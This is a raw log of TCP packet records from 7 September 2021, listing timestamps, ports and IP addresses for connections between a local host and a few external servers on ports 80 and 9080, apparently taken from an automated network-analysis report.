Sep 7, 2021 16:02:40.684865952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684917927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.685374022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.685386896 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.685389996 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.685623884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.685729980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.685810089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.685834885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.685853004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687104940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.687110901 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.687134981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687170982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687195063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687242985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.687249899 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.687678099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687711000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687732935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687756062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.687899113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688015938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688040972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688144922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688199997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.688210011 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.688213110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.688215017 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.688313961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688339949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688360929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688483953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688616991 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.688630104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.688858032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688889027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.688982010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689006090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689027071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689471960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689501047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689521074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689567089 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.689574957 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.689577103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.689579964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.689585924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.689766884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.690376997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.780766964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.786384106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.972961903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:41.054102898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:42.749017954 CEST	49745	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:42.819353104 CEST	80	49745	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:42.819473028 CEST	49745	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:42.819555998 CEST	49745	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:42.819590092 CEST	49745	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:42.890417099 CEST	80	49745	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.013757944 CEST	80	49745	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.014822006 CEST	80	49745	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.014909983 CEST	49745	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.328802109 CEST	49745	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.397748947 CEST	80	49745	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.728157997 CEST	49746	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.797473907 CEST	80	49746	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.797637939 CEST	49746	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.797744989 CEST	49746	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.797789097 CEST	49746	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.866432905 CEST	80	49746	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.866647959 CEST	80	49746	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.975059032 CEST	80	49746	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.975150108 CEST	80	49746	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:43.975249052 CEST	49746	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:43.975306988 CEST	49746	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.000273943 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:44.001770020 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:44.001805067 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:44.024627924 CEST	49747	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.031311035 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:44.043107986 CEST	80	49746	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.090496063 CEST	80	49747	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.092812061 CEST	49747	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.170860052 CEST	49747	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.171878099 CEST	49747	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.237031937 CEST	80	49747	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.408324003 CEST	80	49747	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.410531044 CEST	80	49747	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.410692930 CEST	49747	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.651171923 CEST	49747	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.715522051 CEST	80	49747	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.767395973 CEST	49748	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.831829071 CEST	80	49748	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:44.832050085 CEST	49748	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.863539934 CEST	49748	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.863620996 CEST	49748	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:44.927804947 CEST	80	49748	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:45.201863050 CEST	80	49748	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:45.202025890 CEST	49748	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:45.323477983 CEST	49748	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:45.351485968 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.387479067 CEST	80	49748	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:45.429727077 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.429842949 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.429989100 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.507244110 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508311987 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508338928 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508362055 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508384943 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508407116 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508426905 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508449078 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508471966 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508474112 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.508491993 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508514881 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.508521080 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.508539915 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.508562088 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.586009026 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586114883 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586154938 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586184978 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586210012 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586234093 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586258888 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586283922 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586312056 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586340904 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586347103 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.586364031 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586390018 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586416960 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586441040 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586467028 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586489916 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586517096 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586543083 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586549044 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.586566925 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586591005 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.586690903 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.586796045 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664011955 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664045095 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664067984 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664092064 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664143085 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664223909 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664247036 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664272070 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664293051 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664314985 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664335966 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664360046 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664361954 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664381981 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664405107 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664426088 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664433002 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664433002 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664437056 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664457083 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664479017 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664489031 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664503098 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664522886 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664532900 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664546967 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664566040 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664587021 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664598942 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664608955 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664628983 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664644003 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664654970 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664674997 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664679050 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664701939 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664711952 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664724112 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664746046 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664767027 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664752960 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.664789915 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664813995 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664839983 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664861917 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664881945 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664905071 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.664927959 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.665005922 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.665028095 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.665050030 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.665075064 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.665347099 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.665368080 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.665370941 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.665374994 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.665376902 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.665380001 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.665383101 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742402077 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742552996 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742578983 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742599964 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742623091 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742634058 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742644072 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742652893 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742669106 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742691994 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742692947 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742716074 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742738008 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742758989 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742779970 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742785931 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742801905 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742824078 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742841005 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742841959 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742861986 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742870092 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742883921 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742903948 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742923975 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742939949 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742957115 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742964983 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.742983103 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.742994070 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743007898 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743031025 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743052006 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743057013 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743072987 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743092060 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743093967 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743135929 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743139029 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743159056 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743180037 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743190050 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743206024 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743227959 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743237019 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743251085 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743273020 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743282080 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743294954 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743319035 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743321896 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743340969 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743360996 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743365049 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743387938 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743413925 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743415117 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743438005 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743463993 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743465900 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743489027 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743510962 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743514061 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743535042 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743550062 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743556976 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743577957 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743598938 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.743643045 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.743700027 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821083069 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821127892 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821151018 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821175098 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821197033 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821232080 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821295023 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821321964 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821332932 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821345091 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821369886 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821405888 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821433067 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821449041 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821460009 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821463108 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821485043 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821506977 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821521997 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821531057 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821536064 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821554899 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821579933 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821580887 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821602106 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821621895 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821630001 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821656942 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821679115 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821702003 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821705103 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821724892 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821726084 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821748972 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821768045 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821790934 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821799040 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821816921 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821821928 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821842909 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821866989 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821875095 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821891069 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821896076 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821914911 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821942091 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821949005 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.821968079 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821991920 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.821997881 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822015047 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822038889 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822045088 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822062016 CEST	9080	49749	193.56.146.41	192.168.2.4
